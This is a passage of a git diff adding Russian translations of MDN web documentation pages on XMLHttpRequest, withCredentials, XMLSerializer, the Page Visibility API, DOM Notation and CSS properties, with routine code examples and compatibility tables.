+<p>If you end up with an XMLHttpRequest having <code>status=0</code> and <code>statusText=null</code>, it means that the request was not allowed to be performed. It was <code><a href="http://www.w3.org/TR/XMLHttpRequest/#dom-xmlhttprequest-unsent" title="http://www.w3.org/TR/XMLHttpRequest/#dom-xmlhttprequest-unsent">UNSENT</a></code>. A likely cause for this is when the <a href="http://www.w3.org/TR/XMLHttpRequest/#xmlhttprequest-origin" style="outline: 1px dotted; outline-offset: 0pt;"><code>XMLHttpRequest</code> origin</a> (at the creation of the XMLHttpRequest) has changed when the XMLHttpRequest is then <code>open()</code>. This case can happen for example when one has an XMLHttpRequest that gets fired on an onunload event for a window: the XMLHttpRequest gets in fact created when the window to be closed is still there, and then the request is sent (ie <code>open()</code>) when this window has lost its focus and potentially different window has gained focus. The way to avoid this problem is to set a listener on the new window "activate" event that gets set when the old window has its "unload" event fired.</p>
+
+<h2 id="Using_XMLHttpRequest_from_JavaScript_modules_XPCOM_components">Using XMLHttpRequest from JavaScript modules / XPCOM components</h2>
+
+<p>Instantiating <code>XMLHttpRequest</code> from a <a href="/en-US/docs/JavaScript_code_modules/Using" title="https://developer.mozilla.org/en/JavaScript_code_modules/Using_JavaScript_code_modules">JavaScript module</a> or an XPCOM component works a little differently; it can't be instantiated using the <code>XMLHttpRequest()</code> constructor. The constructor is not defined inside components and the code results in an error. The best way to work around this is to use the XPCOM component constructor.</p>
+
+<pre class="brush: js notranslate">const XMLHttpRequest = Components.Constructor("@mozilla.org/xmlextras/xmlhttprequest;1", "nsIXMLHttpRequest");
+</pre>
+
+<p>Unfortunately in versions of Gecko prior to Gecko 16 there is a bug which can cause requests created this way to be cancelled for no reason.  If you need your code to work on Gecko 15 or earlier, you can get the XMLHttpRequest constructor from the hidden DOM window like so.</p>
+
+<pre class="brush:js notranslate">const { XMLHttpRequest } = Components.classes["@mozilla.org/appshell/appShellService;1"]
+                                     .getService(Components.interfaces.nsIAppShellService)
+                                     .hiddenDOMWindow;
+var oReq = new XMLHttpRequest();</pre>
+
+<h2 id="Дополнительные_ссылки">Дополнительные ссылки</h2>
+
+<ol>
+ <li><a href="/en-US/docs/AJAX/Getting_Started" title="AJAX/Getting_Started">MDN AJAX introduction</a></li>
+ <li><a href="/en-US/docs/HTTP_access_control" title="HTTP access control">HTTP access control</a></li>
+ <li><a href="/en-US/docs/How_to_check_the_security_state_of_an_XMLHTTPRequest_over_SSL" title="How to check the security state of an XMLHTTPRequest over SSL">How to check the security state of an XMLHTTPRequest over SSL</a></li>
+ <li><a href="http://www.peej.co.uk/articles/rich-user-experience.html">XMLHttpRequest - REST and the Rich User Experience</a></li>
+ <li><a href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/xmlsdk/html/xmobjxmlhttprequest.asp">Microsoft documentation</a></li>
+ <li><a href="http://developer.apple.com/internet/webcontent/xmlhttpreq.html">Apple developers' reference</a></li>
+ <li><a href="http://jibbering.com/2002/4/httprequest.html">"Using the XMLHttpRequest Object" (jibbering.com)</a></li>
+ <li><a href="http://www.w3.org/TR/XMLHttpRequest/">The XMLHttpRequest Object: W3C Specification</a></li>
+ <li><a href="http://dev.w3.org/2006/webapi/progress/Progress.html" title="http://dev.w3.org/2006/webapi/progress/Progress.html">Web Progress Events specification</a></li>
+</ol>
diff --git a/files/ru/web/api/xmlhttprequest/withcredentials/index.html b/files/ru/web/api/xmlhttprequest/withcredentials/index.html
new file mode 100644
index 0000000000..805108a15f
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/withcredentials/index.html
@@ -0,0 +1,104 @@
+---
+title: XMLHttpRequest.withCredentials
+slug: Web/API/XMLHttpRequest/withCredentials
+tags:
+  - AJAX
+  - API
+  - XMLHttpRequest
+  - Свойство
+  - Справка
+translation_of: Web/API/XMLHttpRequest/withCredentials
+---
+<p>{{APIRef('XMLHttpRequest')}}</p>
+
+<p>Свойство<strong> XMLHttpRequest.withCredentials </strong>это {{jsxref("Boolean")}} который определяет, должны ли создаваться кросс-доменные <code>Access-Control</code> запросы с использованием таких идентификационных данных как cookie, авторизационные заголовки или TLS сертификаты. Настройка <code>withCredentials</code> бесполезна при запросах на тот же домен.</p>
+
+<p>Вдобавок, этот флаг также используется для определения, будут ли проигнорированы куки переданные в ответе. Значение по умолчанию - <code>false</code>. XMLHttpRequest с другого домена не может установить cookie на свой собственный домен в случае, если перед созданием этого запроса флаг <code>withCredentials</code> не установлен в <code>true</code>. Сторонние cookies, полученные с помощью установки <code>withCredentials</code> в true, всё равно будут соблюдать политику одинакового домена и, следовательно, не могут быть получены запрашивающим скриптом через <a href="/en-US/docs/Web/API/Document/cookie">document.cookie</a> или из заголовков ответа.</p>
+
+<div class="note">
+<p><strong>Примечание: </strong>Это свойство не влияет на запросы, отправленные на тот же домен.</p>
+</div>
+
+<div class="note">
+<p><strong>Примечание: </strong><font face="Consolas, Liberation Mono, Courier, monospace">О</font>тветы с другого домена не могут установить куки для своего собственного домена в случае, если перед созданием запроса флаг <code>withCredentials</code> не установлен в <code>true</code>, несмотря на значение заголовков <code>Access-Control-</code>.</p>
+</div>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">var xhr = new XMLHttpRequest();
+xhr.open('GET', 'http://example.com/', true);
+xhr.withCredentials = true;
+xhr.send(null);</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-withcredentials-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Действующий стандарт WHATWG</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(3)}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}<sup>[2]</sup></td>
+   <td>{{CompatIe(10)}}<sup>[1]</sup></td>
+   <td>{{CompatOpera(12)}}</td>
+   <td>{{CompatSafari("4")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer версий 8 и 9 поддерживает кросс-доменные запросы (CORS) используя <a href="https://msdn.microsoft.com/en-us/library/cc288060%28VS.85%29.aspx">XDomainRequest</a>.</p>
+
+<p>[2] Начиная с Gecko 11.0 (Firefox 11.0 / Thunderbird 11.0 / SeaMonkey 2.8), Gecko больше не позволяет использовать аттрибут <code>withCredentials</code> при проведении синхронных запросов. Попытки это сделать выбросят исключение <code>NS_ERROR_DOM_INVALID_ACCESS_ERR</code>.</p>
diff --git a/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html b/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html
new file mode 100644
index 0000000000..53fb283a75
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html
@@ -0,0 +1,58 @@
+---
+title: XMLHttpRequest()
+slug: Web/API/XMLHttpRequest/XMLHttpRequest
+tags:
+  - API
+  - Reference
+  - XHR
+  - XMLHttpRequest
+  - Конструктор
+  - Получение данных
+  - Чтение данных
+translation_of: Web/API/XMLHttpRequest/XMLHttpRequest
+---
+<h4 id="XMLHttpRequest"><strong>XMLHttpRequest</strong></h4>
+
+<p><span class="seoSummary">Конструктор <code><strong>XMLHttpRequest()</strong></code> создаёт новый объект {{domxref("XMLHttpRequest")}}.</span></p>
+
+<p>Для получения подробной информации о том, как использовать <code>XMLHttpRequest</code>, см. <a class="internal" href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Использование XMLHttpRequest</a>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">const <var>request</var> = new XMLHttpRequest();
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Нет.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новый объект {{domxref("XMLHttpRequest")}}. Этот объект должен быть подготовлен вызовом функции {{domxref("XMLHttpRequest.open", "open()")}} перед вызовом {{domxref("XMLHttpRequest.send", "send()")}} для отправки запроса на сервер.</p>
+
+<h2 id="Нестандартный_синтаксис_Firefox">Нестандартный синтаксис Firefox </h2>
+
+<p>В Firefox 16 в конструктор добавлен нестандартный параметр, который позволяет включать анонимный режим (см. {{Bug("692677")}}). Установка флага <code>mozAnon</code> в значение <code>true</code> по сути напоминает конструктор <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#dom-anonxmlhttprequest" title="see AnonXMLHttpRequest in the XMLHttpRequest specification"><code>AnonXMLHttpRequest()</code></a>, описанный в более старых версиях спецификации XMLHttpRequest.</p>
+
+<pre class="syntaxbox">const <var>request</var> = new XMLHttpRequest(<var>paramsDictionary</var>);</pre>
+
+<h3 id="Параметры_нестандартные">Параметры (нестандартные)</h3>
+
+<dl>
+ <dt><code>objParameters</code> </dt>
+ <dd>Существует два флага, которые можно установить:
+ <dl>
+  <dt><code>mozAnon</code></dt>
+  <dd>Boolean: Установка этого флага в значение <code>true</code> приведет к тому, что браузер не будет раскрывать {{Glossary("origin")}} и <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#user-credentials" title="Defintion of “User credentials” in the XMLHttpRequest specification.">учётные данные пользователя</a> при получении ресурсов. Главным образом это означает, что файлы {{Glossary("Cookie", "cookies")}} не будут отправлены, если они не добавлены явно с использованием setRequestHeader.</dd>
+  <dt><code>mozSystem</code></dt>
+  <dd>Boolean: Установка этого флага в значение <code>true</code> позволяет устанавливать межсайтовые соединения не требуя подключения сервера с помощью {{Glossary("CORS")}}. <em>Требует установки флага <code>mozAnon: true</code>, т.к. это нельзя сочетать с отправкой файлов cookie или других учетных данных пользователя. Это работает только в привилегированных (проверенных) приложениях ({{Bug ("692677")}}));  не работает на произвольных веб-страницах, загруженных в Firefox.</em></dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Использование XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/HTML_in_XMLHttpRequest">HTML в XMLHttpRequest</a></li>
+</ul>
diff --git a/files/ru/web/api/xmlserializer/index.html b/files/ru/web/api/xmlserializer/index.html
new file mode 100644
index 0000000000..45c917981d
--- /dev/null
+++ b/files/ru/web/api/xmlserializer/index.html
@@ -0,0 +1,108 @@
+---
+title: XMLSerializer
+slug: Web/API/XMLSerializer
+translation_of: Web/API/XMLSerializer
+---
+<div dir="ltr" id="result_box" style="text-align: left;"><code>XMLSerializer </code>может быть использован для конвертации веток DOM-дерева или дерева целиком в текст. <code>XMLSerializer </code>доступен непривелегированным скриптам.</div>
+
+<p>Для получения более подробной информации об <code>XMLSerializer</code> в расширениях для браузера Firefox, пожалуйста обратитесь к документции <code><a href="/en-US/docs/nsIDOMSerializer" title="nsIDOMSerializer">nsIDOMSerializer</a></code>.</p>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<dl>
+ <dt id="serializeToString"><code>XMLSerializer.serializeToString</code>()</dt>
+ <dd>Возвращает сериализованное дерево или ветку в виде строки</dd>
+ <dt id="serializeToStream"><code>XMLSerializer.serializeToStream()</code> {{ non-standard_inline() }}{{ deprecated_inline() }}</dt>
+ <dd>Поддерево, обернутое в указанный элемент, сериализуется в поток байтов с использованием указанной кодировки.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: js"> var s = new XMLSerializer();
+ var d = document;
+ var str = s.serializeToString(d);
+ alert(str);</pre>
+
+<p>The next example uses XMLSerializer with <a href="/en-US/docs/DOM/element.insertAdjacentHTML" title="/en-US/docs/DOM/element.insertAdjacentHTML">insertAdjacentHTML()</a> to insert a newly created DOM Node into the Document's body. Because <a href="/en-US/docs/DOM/element.insertAdjacentHTML" title="/en-US/docs/DOM/element.insertAdjacentHTML">insertAdjacentHTML()</a> accepts a string and not a Node for its second parameter, XMLSerializer is used to first convert the node into a string.</p>
+
+<pre class="brush: js">var inp = document.createElement('input');
+var XMLS = new XMLSerializer();
+var inp_xmls = XMLS.serializeToString(inp); // Конвертируем DOM эелемент в сторку
+
+
+// Вставляет вновь созданный элемент в тело документа
+document.body.insertAdjacentHTML('afterbegin', inp_xmls);</pre>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Браузерная совместимость</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3.0.4</td>
+  </tr>
+  <tr>
+   <td><code>serializeToStream()</code> {{ non-standard_inline() }}</td>
+   <td>{{CompatNo}}</td>
+   <td>Удалено в  {{CompatGeckoDesktop("20.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>serializeToStream()</code> {{ non-standard_inline() }}</td>
+   <td>{{CompatNo}}</td>
+   <td>Removed in {{CompatGeckoDesktop("20.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите так же</h2>
+
+<ul>
+ <li><a href="/en-US/Parsing_and_serializing_XML" title="en-US/Parsing_and_serializing_XML">Parsing and serializing XML</a></li>
+ <li><a href="/en-US/XMLHttpRequest" title="en-US/XMLHttpRequest">XMLHttpRequest</a></li>
+ <li><a href="/en-US/DOMParser" title="en-US/DOMParser">DOMParser</a></li>
+</ul>
diff --git a/files/ru/web/api/видимость_страницы_api/index.html b/files/ru/web/api/видимость_страницы_api/index.html
new file mode 100644
index 0000000000..9b181e92d1
--- /dev/null
+++ b/files/ru/web/api/видимость_страницы_api/index.html
@@ -0,0 +1,195 @@
+---
+title: Видимость страницы API
+slug: Web/API/Видимость_страницы_API
+tags:
+  - API
+  - DOM
+  - Документ
+  - Показать страницу
+  - Скрыть страницу
+translation_of: Web/API/Page_Visibility_API
+---
+<div>{{DefaultAPISidebar("Page Visibility API")}}</div>
+
+<p>При переключении между вкладками, web страница переходит в фоновый режим и поэтому не видна пользователю. Page Visibility API предоставляет события, которые вы можете отслеживать, чтобы узнать, когда страница станет видимой или скрытой, а так же возможность наблюдать текущее состояние видимости страницы.</p>
+
+<div class="note">
+<p><strong>Notes:</strong> The Page Visibility API особенно полезно для сбережения ресурсов и улучшения производительности, позволяя странице остановить выполнение не нужных задач, когда она не видна.</p>
+</div>
+
+<p>Когда пользователь сворачивает окно или переключается на другую вкладку, API отправляет {{event("visibilitychange")}} событие обработчикам, что состояние страницы изменилось. Вы можете отследить это событие и выполнить какие-то действия. Например, если ваше app проигрывает видео, его можно поставить на паузу, когда пользователь переключил вкладку (страница ушла в фон), а затем возобновить видео, когда пользователь вернулся на вкладку. Пользователь не теряет место на котором остановил просмотр, звук от видео не конфликтует с аудио новой вкладки, пользователь комфортно просмотрить оба видео.</p>
+
+<p>Состояния видимости для {{HTMLElement("iframe")}} такие же как и для родительской страницы. Скрытие <code>&lt;iframe&gt;</code> используя CSS стили (такие как {{cssxref("display", "display: none;")}}) не вызывают события видимости и не изменяют состояние документа, содержащегося во фрейме.</p>
+
+<h3 id="Использование">Использование</h3>
+
+<p>Давайте рассмотрим несколько способов использования Page Visibility API.</p>
+
+<ul>
+ <li>На сайте есть слайдер изображений с автопрокрутрой, которую можно поставить на паузу, когда пользователь перешел на другую вкладку</li>
+ <li>Приложение выводит информацию в реальном времени, которую можно не обновлять, пока страница не видна, тем самым уменьшить количество запросов на сервер</li>
+ <li>Странице нужно понять, когда она должна быть отрисована, так что можно вести точный подсчет количества просмотров</li>
+ <li>Сайту нужно выключить звук, когда устройство в режиме ожидания (пользователь нажал кнопку включения, чтобы погасить экран)</li>
+</ul>
+
+<p>Раньше у разработчиков были не удобные способы. Например, обработка {{event("blur")}} и {{event("focus")}} событий на объекте window - помогала узнать когда страница становилась не активной, но это не давало возможность понять когда страница действительно скрыта от пользователя. Page Visibility API решает эту проблему.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Когда {{domxref("GlobalEventHandlers.onblur", "onblur")}} и {{domxref("GlobalEventHandlers.onfocus", "onfocus")}} уведомляют, что пользователь переключил окна, это не означает, что оно действительно скрыто. Страница действительно скрыта, когда пользователь переключил вкладки или свернул окно браузера с этой вкладкой.</p>
+</div>
+
+<h3 id="Policies_in_place_to_aid_background_page_performance">Policies in place to aid background page performance</h3>
+
+<p>Separately from the Page Visibility API, user agents typically have a number of policies in place to mitigate the performance impact of background or hidden tabs. These may include:</p>
+
+<ul>
+ <li>Most browsers stop sending {{domxref("Window.requestAnimationFrame", "requestAnimationFrame()")}} callbacks to background tabs or hidden {{ HTMLElement("iframe") }}s in order to improve performance and battery life.</li>
+ <li>Timers such as {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}} are throttled in background/inactive tabs to help improve performance. See <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout#Reasons_for_delays_longer_than_specified">Reasons for delays longer than specified</a> for more details.</li>
+ <li>Budget-based background timeout throttling is now available in modern browsers (Firefox 58+, Chrome 57+), placing an additional limit on background timer CPU usage. This operates in a similar way across modern browsers, with the details being as follows:
+  <ul>
+   <li>In Firefox, windows in background tabs each have their own time budget in milliseconds — a max and a min value of +50 ms and -150 ms, respectively. Chrome is very similar except that the budget is specified in seconds.</li>
+   <li>Windows are subjected to throttling after 30 seconds, with the same throttling delay rules as specified for window timers (again, see <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout#Reasons_for_delays_longer_than_specified">Reasons for delays longer than specified</a>). In Chrome, this value is 10 seconds.</li>
+   <li>Timer tasks are only permitted when the budget is non-negative.</li>
+   <li>Once a timer's code has finished running, the duration of time it took to execute is subtracted from its window's timeout budget.</li>
+   <li>The budget regenerates at a rate of 10 ms per second, in both Firefox and Chrome.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Some processes are exempt from this throttling behavior. In these cases, you can use the Page Visibility API to reduce the tabs' performance impact while they're hidden.</p>
+
+<ul>
+ <li>Tabs which are playing audio are considered foreground and aren’t throttled.</li>
+ <li>Tabs running code that's using real-time network connections (<a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a> and <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a>) go unthrottled in order to avoid closing these connections timing out and getting unexpectedly closed.</li>
+ <li><a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a> processes are also left unthrottled in order to avoid timeouts.</li>
+</ul>
+
+<h2 id="Example">Example</h2>
+
+<p>View <a href="http://daniemon.com/tech/webapps/page-visibility/">live example</a> (video with sound).</p>
+
+<p>The example, which pauses the video when you switch to another tab and plays again when you return to its tab, was created with the following code:</p>
+
+<pre class="brush: js notranslate">// Set the name of the hidden property and the change event for visibility
+var hidden, visibilityChange;
+if (typeof document.hidden !== "undefined") { // Opera 12.10 and Firefox 18 and later support
+  hidden = "hidden";
+  visibilityChange = "visibilitychange";
+} else if (typeof document.msHidden !== "undefined") {
+  hidden = "msHidden";
+  visibilityChange = "msvisibilitychange";
+} else if (typeof document.webkitHidden !== "undefined") {
+  hidden = "webkitHidden";
+  visibilityChange = "webkitvisibilitychange";
+}
+
+var videoElement = document.getElementById("videoElement");
+
+// If the page is hidden, pause the video;
+// if the page is shown, play the video
+function handleVisibilityChange() {
+  if (document[hidden]) {
+    videoElement.pause();
+  } else {
+    videoElement.play();
+  }
+}
+
+// Warn if the browser doesn't support addEventListener or the Page Visibility API
+if (typeof document.addEventListener === "undefined" || hidden === undefined) {
+  console.log("This demo requires a browser, such as Google Chrome or Firefox, that supports the Page Visibility API.");
+} else {
+  // Handle page visibility change
+  document.addEventListener(visibilityChange, handleVisibilityChange, false);
+
+  // When the video pauses, set the title.
+  // This shows the paused
+  videoElement.addEventListener("pause", function(){
+    document.title = 'Paused';
+  }, false);
+
+  // When the video plays, set the title.
+  videoElement.addEventListener("play", function(){
+    document.title = 'Playing';
+  }, false);
+
+}
+</pre>
+
+<h2 id="Properties_added_to_the_Document_interface">Properties added to the Document interface</h2>
+
+<p>The Page Visibility API adds the following properties to the {{domxref("Document")}} interface:</p>
+
+<dl>
+ <dt>{{domxref("Document.hidden")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns <code>true</code> if the page is in a state considered to be hidden to the user, and <code>false</code> otherwise.</dd>
+ <dt>{{domxref("Document.visibilityState")}} {{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("DOMString")}} indicating the document's current visibility state. Possible values are:
+ <dl>
+  <dt><code>visible</code></dt>
+  <dd>The page content may be at least partially visible. In practice this means that the page is the foreground tab of a non-minimized window.</dd>
+  <dt><code>hidden</code></dt>
+  <dd>The page's content is not visible to the user, either due to the document's tab being in the background or part of a window that is minimized, or because the device's screen is off.</dd>
+  <dt><code>prerender</code></dt>
+  <dd>The page's content is being prerendered and is not visible to the user. A document may start in the <code>prerender</code> state, but will never switch to this state from any other state, since a document can only prerender once.
+  <div class="note"><strong>Note:</strong> Not all browsers support prerendering.</div>
+  </dd>
+  <dt><code>unloaded</code></dt>
+  <dd>The page is in the process of being unloaded from memory.
+  <div class="note"><strong>Note:</strong> Not all browsers support the <code>unloaded</code> value.</div>
+  </dd>
+ </dl>
+ </dd>
+ <dt>{{domxref("Document.onvisibilitychange")}}</dt>
+ <dd>An {{domxref("EventListener")}} providing the code to be called when the {{event("visibilitychange")}} event is fired.</dd>
+</dl>
+
+<pre class="brush: js notranslate">//startSimulation and pauseSimulation defined elsewhere
+function handleVisibilityChange() {
+  if (document.hidden) {
+    pauseSimulation();
+  } else  {
+    startSimulation();
+  }
+}
+
+document.addEventListener("visibilitychange", handleVisibilityChange, false);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Page Visibility API')}}</td>
+   <td>{{Spec2('Page Visibility API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+<h3 id="Document.visibilityState"><code>Document.visibilityState</code></h3>
+
+<div>
+
+
+<p>{{Compat("api.Document.visibilityState")}}</p>
+</div>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Description of the <a href="http://blogs.msdn.com/b/ie/archive/2011/07/08/using-pc-hardware-more-efficiently-in-html5-new-web-performance-apis-part-2.aspx" title="Page Visibility on IEBlog">Page Visibility API</a> on the IEBlog.</li>
+ <li>Description of the <a href="http://code.google.com/chrome/whitepapers/pagevisibility.html" title="Page Visibility API by Google">Page Visibility API</a> by Google</li>
+</ul>
diff --git a/files/ru/web/api/нотация/index.html b/files/ru/web/api/нотация/index.html
new file mode 100644
index 0000000000..a1f468a55d
--- /dev/null
+++ b/files/ru/web/api/нотация/index.html
@@ -0,0 +1,52 @@
+---
+title: Нотация
+slug: Web/API/Нотация
+tags:
+  - Нотация
+translation_of: Web/API/Notation
+---
+<div>{{APIRef("DOM")}}{{draft}}{{obsolete_header}}</div>
+
+<p>Представляет нотацию DTD (только для чтения). Может объявлять формат неразобранного объекта или формально объявлять цели инструкции по обработке документа. Наследует методы и свойства от <a class="internal" href="/En/DOM/Node" title="En/DOM/Node"><code>Node</code></a>. Его <code><a class="internal" href="/En/DOM/Node/NodeName" title="En/DOM/Node/NodeName">nodeName</a></code> - это имя нотации. Не имеет родителя.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("Notation.publicId")}} {{ReadOnlyInline}}</dt>
+ <dd>Это {{domxref("DOMString")}}.</dd>
+ <dt>{{domxref("Notation.systemId")}} {{ReadOnlyInline}}</dt>
+ <dd>Это {{domxref("DOMString")}}.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Спецификация</th>
+   <th>Статус</th>
+   <th>Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#ID-5431D1B9", "Notation")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#ID-5431D1B9", "Notation")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-5431D1B9', 'Notation')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Первое определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.Notation")}}</p>
diff --git a/files/ru/web/css/--_star_/index.html b/files/ru/web/css/--_star_/index.html
new file mode 100644
index 0000000000..541d7ab62e
--- /dev/null
+++ b/files/ru/web/css/--_star_/index.html
@@ -0,0 +1,14 @@
+---
+title: Переменные (--*)
+slug: Web/CSS/--*
+tags:
+  - CSS
+  - CSS Variables
+  - Property
+translation_of: Web/CSS/--*
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<p>Имена свойств с префиксом <code>--</code>, типа <code>--example-name</code>, представляют собой <em>свои свойства</em>, содержащие значение, которое можно использовать по всему документу, используя ({{cssxref("var()")}}).</p>
+
+<p>Свои свойства участвуют в каскаде: каждое из них может появляться несколько раз, а значение переменной соответствует значению определённому в своём свойстве по алгоритму каскадирования.</p>
diff --git a/files/ru/web/css/-moz-binding/index.html b/files/ru/web/css/-moz-binding/index.html
new file mode 100644
index 0000000000..e9c8b29c44
--- /dev/null
+++ b/files/ru/web/css/-moz-binding/index.html
@@ -0,0 +1,115 @@
+---
+title: '-moz-binding'
+slug: Web/CSS/-moz-binding
+translation_of: Archive/Web/CSS/-moz-binding
+---
+<div>{{CSSRef}}{{Non-standard_Header}}{{Deprecated_Header(57)}}</div>
+
+<p>The <strong><code>-moz-binding</code></strong> CSS property is used by Mozilla-based applications to attach an <a href="/en-US/docs/XBL">XBL</a> binding to a DOM element.</p>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush:css">/* &lt;url&gt; value */
+-moz-binding: url(http://www.example.org/xbl/htmlBindings.xml#checkbox);
+
+/* Global values */
+-moz-binding: inherited;
+-moz-binding: initial;
+-moz-binding: unset;
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt>{{CSSxRef("&lt;url&gt;")}}</dt>
+ <dd>The URL for the XBL binding (including the fragment identifier).</dd>
+ <dt><code>none</code></dt>
+ <dd>No XBL binding is applied to the element.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: css">.exampleone {
+  -moz-binding: url(http://www.example.org/xbl/htmlBindings.xml#radiobutton);
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>Not part of any specification.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="bc-old">
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <thead>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox</th>
